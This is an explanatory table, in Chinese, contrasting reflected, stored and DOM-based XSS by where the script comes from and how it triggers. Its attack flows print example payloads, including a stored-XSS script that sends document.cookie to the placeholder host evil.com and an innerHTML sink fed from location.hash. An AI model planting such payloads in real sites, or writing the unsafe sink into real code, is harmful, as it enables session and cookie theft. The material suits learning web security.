XSS攻击的三种类型在触发机制上的核心区别在于恶意脚本的来源、存储位置 以及触发执行的方式。具体差异如下表所示:
| 类型 | 触发机制核心区别 | 恶意脚本来源与存储 | 触发执行方式 | 典型攻击流程 |
|---|---|---|---|---|
| 反射型 XSS | 恶意脚本作为请求参数(如URL)发送给服务器,服务器**未经处理直接"反射"**到响应中,在受害者浏览器执行。 | 来源于攻击者构造的一次性请求,通常不存储在服务器上。 | 需要诱导用户主动点击一个包含恶意脚本的链接。 | 1. 攻击者构造恶意URL(如 https://example.com/search?q=<script>alert(1)</script>)。 2. 诱导用户点击该链接。 3. 服务器将 q 参数值直接插入响应HTML并返回。 4. 用户浏览器解析响应,执行其中的恶意脚本。 |
| 存储型 XSS | 恶意脚本被提交并永久存储在服务器端(如数据库、文件、评论内容),当其他用户访问包含该数据的页面时,脚本被取出并执行。 | 来源于攻击者提交的表单数据 ,并持久化存储在服务器中。 | 任何访问了存储有恶意脚本页面的用户都会自动触发执行,无需再次交互。 | 1. 攻击者在可存储用户输入的地方(如论坛评论、用户资料)提交恶意脚本(如 <script>new Image().src='http://evil.com/steal?c='+document.cookie</script>)。 2. 服务器将该脚本存入数据库。 3. 当其他用户浏览该评论页面时,服务器从数据库取出评论并返回给浏览器。 4. 用户浏览器解析页面,执行恶意脚本。 |
| DOM 型 XSS | 漏洞完全发生在客户端。攻击载荷通过修改页面的DOM(文档对象模型)环境来触发脚本执行,服务器返回的原始HTML可能并未包含恶意代码。 | 来源于客户端JavaScript处理的不安全数据 ,如URL片段(#之后的部分)、document.referrer等,这些数据不发送到服务器或服务器不处理。 |
用户访问一个特定的恶意构造的URL,或页面上的客户端JS代码不安全地处理了某些输入数据。 | 1. 页面中存在不安全的DOM操作代码,例如: document.getElementById('content').innerHTML = location.hash.substring(1);。 2. 攻击者构造URL:http://example.com/page#<img src=x onerror=alert(1)>。 3. 用户访问该URL,浏览器本地JS将location.hash的内容(<img ...>)通过innerHTML写入DOM。 4.浏览器解析新插入的HTML,img标签的onerror事件被触发,执行恶意JS。 |
关键机制差异总结:
- 数据流与存储:反射型和DOM型的恶意脚本通常不存储在服务器(DOM型甚至不经过服务器),而存储型则持久化在服务器。
- 触发条件:反射型需要用户点击特定链接;存储型是访问被"污染"的页面即触发;DOM型则是访问特定构造的URL或页面执行了不安全的客户端逻辑。
- 检测难度 :由于DOM型XSS的恶意载荷可能仅存在于URL片段(
#之后)且不发送到服务器,传统的服务端日志和WAF(Web应用防火墙)可能无法检测到。